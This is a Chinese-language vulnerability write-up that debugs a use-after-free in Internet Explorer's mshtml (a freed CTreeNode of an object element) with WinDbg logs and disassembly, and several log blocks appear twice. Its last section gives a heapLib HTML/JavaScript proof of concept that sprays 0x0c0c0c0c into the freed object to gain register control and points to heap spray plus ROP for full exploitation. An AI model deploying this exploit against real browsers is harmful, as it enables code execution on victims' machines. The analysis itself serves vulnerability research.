前面分析过程遇到了一些问题,比如在最后中断在异常处发现对象大小和前面分配不符,后来在win7 32位下调试没有出现这种问题,下面是
win7 32位下的调试过程:
同样下断
0:013> x mshtml!CObjectElement::`vftable'
694e3dd8 mshtml!CObjectElement::`vftable' = <no type information>
0:013> bp mshtml!CTreeNode::CTreeNode ".printf " CTreeNode:node[%08x] Type:",ecx;dds edi l1;.if(poi(edi)!=694e3dd8 ) {gc;}"
0:013> g
694e3dd8 mshtml!CObjectElement::`vftable' = <no type information>
0:013> bp mshtml!CTreeNode::CTreeNode ".printf " CTreeNode:node[%08x] Type:",ecx;dds edi l1;.if(poi(edi)!=694e3dd8 ) {gc;}"
0:013> g
...
8次中断:
0:005> g
CTreeNode:node[004f0358] Type:005187b0 693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810 693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004eff38] Type:0051f590 694e3dd8 mshtml!CObjectElement::`vftable'
eax=004eff38 ebx=0249cab0 ecx=004eff38 edx=00000000 esi=004e2b40 edi=0051f590
eip=695b47b9 esp=0249c93c ebp=0249ca9c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
695b47b9 8bff mov edi,edi
CTreeNode:node[004f0358] Type:005187b0 693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810 693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004eff38] Type:0051f590 694e3dd8 mshtml!CObjectElement::`vftable'
eax=004eff38 ebx=0249cab0 ecx=004eff38 edx=00000000 esi=004e2b40 edi=0051f590
eip=695b47b9 esp=0249c93c ebp=0249ca9c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
695b47b9 8bff mov edi,edi
0:005> !heap -x 004eff38
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
004eff30 004eff38 00450000 004f07f8 58 - c LFH;busy
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
004eff30 004eff38 00450000 004f07f8 58 - c LFH;busy
此时ecx是CTreeNode对象,
0:005> ba w 4 004eff38
0:005> g
Breakpoint 1 hit
eax=ffffffff ebx=0249cab0 ecx=004eff38 edx=00000000 esi=00000008 edi=0051f590
eip=695b47f4 esp=0249c934 ebp=0249c938 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
mshtml!CTreeNode::CTreeNode+0x3b:
695b47f4 85ff test edi,edi
Breakpoint 1 hit
eax=ffffffff ebx=0249cab0 ecx=004eff38 edx=00000000 esi=00000008 edi=0051f590
eip=695b47f4 esp=0249c934 ebp=0249c938 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
mshtml!CTreeNode::CTreeNode+0x3b:
695b47f4 85ff test edi,edi
查看前一条指令:
0:005> ub eip l1
mshtml!CTreeNode::CTreeNode+0x39:
695b47f2 8939 mov dword ptr [ecx],edi
mshtml!CTreeNode::CTreeNode+0x39:
695b47f2 8939 mov dword ptr [ecx],edi
这里是初始化CTreeNode
0:005> ln poi(edi)
(694e3dd8) mshtml!CObjectElement::`vftable' | (695aa4ac) mshtml!CDummyUnknown::`vftable'
Exact matches:
mshtml!CObjectElement::`vftable' = <no type information>
(694e3dd8) mshtml!CObjectElement::`vftable' | (695aa4ac) mshtml!CDummyUnknown::`vftable'
Exact matches:
mshtml!CObjectElement::`vftable' = <no type information>
0:005> dd 694e3dd8
694e3dd8 694ef6af 695ab7c9 695aa699 694eff7d
694e3de8 6951e101 694efc6c 695a7b0d 69644eb3
694e3df8 69709560 69519f31 695f5036 697a8531
694e3e08 69730297 694efb53 694efa0c 69647fe5
694e3e18 69761f7a 69629022 6940d582 69629022
694e3e28 697a8580 697622c2 697622c2 6983617f
694e3e38 69836131 698354b7 69835537 695b1e75
694e3e48 695ab65d 695cbabb 69712683 694db33e
694e3dd8 694ef6af 695ab7c9 695aa699 694eff7d
694e3de8 6951e101 694efc6c 695a7b0d 69644eb3
694e3df8 69709560 69519f31 695f5036 697a8531
694e3e08 69730297 694efb53 694efa0c 69647fe5
694e3e18 69761f7a 69629022 6940d582 69629022
694e3e28 697a8580 697622c2 697622c2 6983617f
694e3e38 69836131 698354b7 69835537 695b1e75
694e3e48 695ab65d 695cbabb 69712683 694db33e
继续g
0:005> g
CTreeNode:node[004f0358] Type:005187b0 693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810 693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004efe30] Type:004e1660 69522010 mshtml!CRootElement::`vftable'
CTreeNode:node[004f01a0] Type:004e1930 69531598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004f0098] Type:004e1a20 69531868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004f01f8] Type:004f8888 69531ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004eff90] Type:004f88c0 69530c30 mshtml!CBodyElement::`vftable'
Breakpoint 1 hit
eax=0091012b ebx=00000011 ecx=00000092 edx=00000091 esi=004f07f8 edi=004eff30
eip=773d2d75 esp=0249d250 ebp=0249d284 iopl=0 ov up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a06
ntdll!RtlpLowFragHeapFree+0xa6:
773d2d75 2b7df4 sub edi,dword ptr [ebp-0Ch] ss:0023:0249d278=004ef7e8
CTreeNode:node[004f0358] Type:005187b0 693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810 693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004efe30] Type:004e1660 69522010 mshtml!CRootElement::`vftable'
CTreeNode:node[004f01a0] Type:004e1930 69531598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004f0098] Type:004e1a20 69531868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004f01f8] Type:004f8888 69531ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004eff90] Type:004f88c0 69530c30 mshtml!CBodyElement::`vftable'
Breakpoint 1 hit
eax=0091012b ebx=00000011 ecx=00000092 edx=00000091 esi=004f07f8 edi=004eff30
eip=773d2d75 esp=0249d250 ebp=0249d284 iopl=0 ov up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a06
ntdll!RtlpLowFragHeapFree+0xa6:
773d2d75 2b7df4 sub edi,dword ptr [ebp-0Ch] ss:0023:0249d278=004ef7e8
此时查看CTreeNode对象,发现该对象已经被释放
0:005> !heap -x 004eff38
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
004eff30 004eff38 00450000 004f07f8 58 - 0 LFH;free
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
004eff30 004eff38 00450000 004f07f8 58 - 0 LFH;free
查看栈回溯信息:
0:005> kb
ChildEBP RetAddr Args to Child
0249d284 773d2ce8 004eff38 0051f590 00000000 ntdll!RtlpLowFragHeapFree+0xa6
0249d29c 7725bbe4 00450000 00000000 004eff38 ntdll!RtlFreeHeap+0x105
0249d2b0 6960fbf2 00450000 00000000 004eff38 kernel32!HeapFree+0x14
0249d2c0 69506555 00000720 695092a8 004beb70 mshtml!CTreeNode::Release+0x2d
0249d2c8 695092a8 004beb70 00000000 00000018 mshtml!CTreeNode::PrivateExitTree+0x17
0249d418 69506e34 0249d53c 0249d48c 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x812
0249d4f8 69506c90 0249d530 0249d53c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x83
0249d548 69507434 0249d6f0 0249d72c 00000001 mshtml!CDoc::CutCopyMove+0xca
0249d564 69507412 0249d6f0 0249d72c 00000000 mshtml!CDoc::Remove+0x18
0249d57c 69509c8e 0249d72c 0051ce18 695aa410 mshtml!RemoveWithBreakOnEmpty+0x3a
0249d678 69509add 0249d6f0 0249d72c 0249d6a0 mshtml!InjectHtmlStream+0x191
0249d6b4 6950735c 0249d6f0 0249d72c 0000000e mshtml!HandleHTMLInjection+0x5c
0249d76c 698353db 00000001 00000001 0051ce18 mshtml!CElement::InjectInternal+0x307
0249d84c 695c93c2 0051f590 00000000 004ddd58 mshtml!CObjectElement::DeferredFallback+0x2f0
0249d880 695be012 0249d91c 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0249d8a0 75dcc4e7 00120266 00000008 00000000 mshtml!GlobalWndProc+0x10c
0249d8cc 75dcc5e7 695a6853 00120266 00008002 USER32!InternalCallWinProc+0x23
0249d944 75dccc19 00000000 695a6853 00120266 USER32!UserCallWinProcCheckWow+0x14b
0249d9a4 75dccc70 695a6853 00000000 0249fac4 USER32!DispatchMessageWorker+0x35e
0249d9b4 6d904bec 0249d9dc 00000000 001227d8 USER32!DispatchMessageW+0xf
0249fac4 6d914f62 004918b8 00000000 00473cd0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b
0249fb7c 75965c2b 001227d8 00000000 0249fb98 IEFRAME!LCIETab_ThreadProc+0x2c1
0249fb8c 77263c45 00473cd0 0249fbd8 773e37f5 iertutil!CIsoScope::RegisterThread+0xab
0249fb98 773e37f5 00473cd0 7588b972 00000000 kernel32!BaseThreadInitThunk+0xe
0249fbd8 773e37c8 75965c1d 00473cd0 00000000 ntdll!__RtlUserThreadStart+0x70
0249fbf0 00000000 75965c1d 00473cd0 00000000 ntdll!_RtlUserThreadStart+0x1b
ChildEBP RetAddr Args to Child
0249d284 773d2ce8 004eff38 0051f590 00000000 ntdll!RtlpLowFragHeapFree+0xa6
0249d29c 7725bbe4 00450000 00000000 004eff38 ntdll!RtlFreeHeap+0x105
0249d2b0 6960fbf2 00450000 00000000 004eff38 kernel32!HeapFree+0x14
0249d2c0 69506555 00000720 695092a8 004beb70 mshtml!CTreeNode::Release+0x2d
0249d2c8 695092a8 004beb70 00000000 00000018 mshtml!CTreeNode::PrivateExitTree+0x17
0249d418 69506e34 0249d53c 0249d48c 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x812
0249d4f8 69506c90 0249d530 0249d53c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x83
0249d548 69507434 0249d6f0 0249d72c 00000001 mshtml!CDoc::CutCopyMove+0xca
0249d564 69507412 0249d6f0 0249d72c 00000000 mshtml!CDoc::Remove+0x18
0249d57c 69509c8e 0249d72c 0051ce18 695aa410 mshtml!RemoveWithBreakOnEmpty+0x3a
0249d678 69509add 0249d6f0 0249d72c 0249d6a0 mshtml!InjectHtmlStream+0x191
0249d6b4 6950735c 0249d6f0 0249d72c 0000000e mshtml!HandleHTMLInjection+0x5c
0249d76c 698353db 00000001 00000001 0051ce18 mshtml!CElement::InjectInternal+0x307
0249d84c 695c93c2 0051f590 00000000 004ddd58 mshtml!CObjectElement::DeferredFallback+0x2f0
0249d880 695be012 0249d91c 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0249d8a0 75dcc4e7 00120266 00000008 00000000 mshtml!GlobalWndProc+0x10c
0249d8cc 75dcc5e7 695a6853 00120266 00008002 USER32!InternalCallWinProc+0x23
0249d944 75dccc19 00000000 695a6853 00120266 USER32!UserCallWinProcCheckWow+0x14b
0249d9a4 75dccc70 695a6853 00000000 0249fac4 USER32!DispatchMessageWorker+0x35e
0249d9b4 6d904bec 0249d9dc 00000000 001227d8 USER32!DispatchMessageW+0xf
0249fac4 6d914f62 004918b8 00000000 00473cd0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b
0249fb7c 75965c2b 001227d8 00000000 0249fb98 IEFRAME!LCIETab_ThreadProc+0x2c1
0249fb8c 77263c45 00473cd0 0249fbd8 773e37f5 iertutil!CIsoScope::RegisterThread+0xab
0249fb98 773e37f5 00473cd0 7588b972 00000000 kernel32!BaseThreadInitThunk+0xe
0249fbd8 773e37c8 75965c1d 00473cd0 00000000 ntdll!__RtlUserThreadStart+0x70
0249fbf0 00000000 75965c1d 00473cd0 00000000 ntdll!_RtlUserThreadStart+0x1b
注意这个函数,根据函数名就可以猜到该对象释放的原因-->“Empty”
看看对象分配的大小:
text:635A8213 loc_635A8213: ; CODE XREF: CHtmRootParseCtx::BeginElement(CTreeNode * *,CElement *,CTreeNode *,int)+205Aj
.text:635A8213 push ebx
.text:635A8214 push edi
.text:635A8215 push 4Ch ; dwBytes
.text:635A8217 push 8 ; dwFlags
.text:635A8219 push _g_hProcessHeap ; hHeap
.text:635A821F call ds:__imp__HeapAlloc@12 ; 分配了一个对象
.text:635A8225 xor ebx, ebx
.text:635A8227 cmp eax, ebx
.text:635A8229 jz short loc_635A823B
.text:635A822B mov edi, [ebp+arg_4]
.text:635A822E push ebx
.text:635A822F push [ebp+arg_8]
.text:635A8232 mov ecx, eax ; ecx-->对象指针
.text:635A8234 call ??0CTreeNode@@QAE@PAV0@PAVCElement@@H@Z ; CTreeNode::CTreeNode(CTreeNode *,CElement *,int)
.text:635A8213 push ebx
.text:635A8214 push edi
.text:635A8215 push 4Ch ; dwBytes
.text:635A8217 push 8 ; dwFlags
.text:635A8219 push _g_hProcessHeap ; hHeap
.text:635A821F call ds:__imp__HeapAlloc@12 ; 分配了一个对象
.text:635A8225 xor ebx, ebx
.text:635A8227 cmp eax, ebx
.text:635A8229 jz short loc_635A823B
.text:635A822B mov edi, [ebp+arg_4]
.text:635A822E push ebx
.text:635A822F push [ebp+arg_8]
.text:635A8232 mov ecx, eax ; ecx-->对象指针
.text:635A8234 call ??0CTreeNode@@QAE@PAV0@PAVCElement@@H@Z ; CTreeNode::CTreeNode(CTreeNode *,CElement *,int)
由于堆分配是8字节对齐,因此这里应该分配0x50(80)字节的堆空间,加上8个字节的头部数据刚好是0x58
分析就到这里吧,本来打算找到漏洞的具体成因,某君相劝漏洞的艺术在于利用而不在于成因,虽然不乏一点道理,但鉴于自己水平实在有限,漏洞分析到这里就over
=============================分割线==============================
漏洞利用:
既然是use after free,那么我们就需要在再次引用free掉的内存的时候给这段内存写入污染数据:
借助heaplib分配内存,我们来尝试控制eip指针:
先看看出问题的CObjectElement的大小:
.text:63766632 ; public: static long __stdcall CObjectElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *) .text:63766632 ?CreateElement@CObjectElement@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near .text:63766632 ; DATA XREF: .text:6364B7D8o .text:63766632 ; .text:6364BC18o .text:63766632 .text:63766632 arg_0 = dword ptr 8 .text:63766632 arg_4 = dword ptr 0Ch .text:63766632 arg_8 = dword ptr 10h .text:63766632 .text:63766632 mov edi, edi .text:63766634 push ebp .text:63766635 mov ebp, esp .text:63766637 push 0DCh ; dwBytes .text:6376663C push 8 ; dwFlags .text:6376663E push _g_hProcessHeap ; hHeap .text:63766644 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x) .text:6376664A test eax, eax .text:6376664C jz short loc_63766679 .text:6376664E mov ecx, [ebp+arg_0] .text:63766651 movzx ecx, byte ptr [ecx+1] .text:63766655 push esi .text:63766656 push [ebp+arg_4] .text:63766659 mov esi, eax .text:6376665B push ecx .text:6376665C call ??0CObjectElement@@QAE@W4ELEMENT_TAG@@PAVCDoc@@@Z ; CObjectElement::CObjectElement(ELEMENT_TAG,CDoc *)
可以看到CObjectElement的大小为0xDC字节,那么我们就需要分配一个0xE0字节大小的伪造对象。利用HeapLib.js
<html> <body> <script language='javascript' src='heaplib.js'> </script> <script language='javascript' > heap_obj=new heapLib.ie(0x20000); var control_eip=unescape("u0c0cu0c0c"); while(control_eip.length<0xe0) { control_eip+=unescape("u0c0cu0c0c"); } control_eip=control_eip.slice(0,(0xe0-6)/2); document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>"; for(var num=0;num<3000;num++) { heap_obj.alloc(control_eip,"aaaa"); heap_obj.alloc(control_eip,"aaaa"); } document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-2000px;text-indent:-1000px' >TAG_3</a>"; document.body.innerHTML += "BBBBBB"; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>"; </script> </body> </html>
挂载调试器,看到eax寄存器已经被控制到0x0c0c0c0c
0:013> g ModLoad: 6cf50000 6d002000 C:WindowsSystem32jscript.dll (7c4.344): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=002ba9d8 ecx=0329018e edx=00000000 esi=0248c088 edi=00000000 eip=6bdbb68f esp=0248c05c ebp=0248c074 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc+0x2: 6bdbb68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????
其他的就很容易了,可以通过HeapSpary+ROP就可以完成漏洞利用了。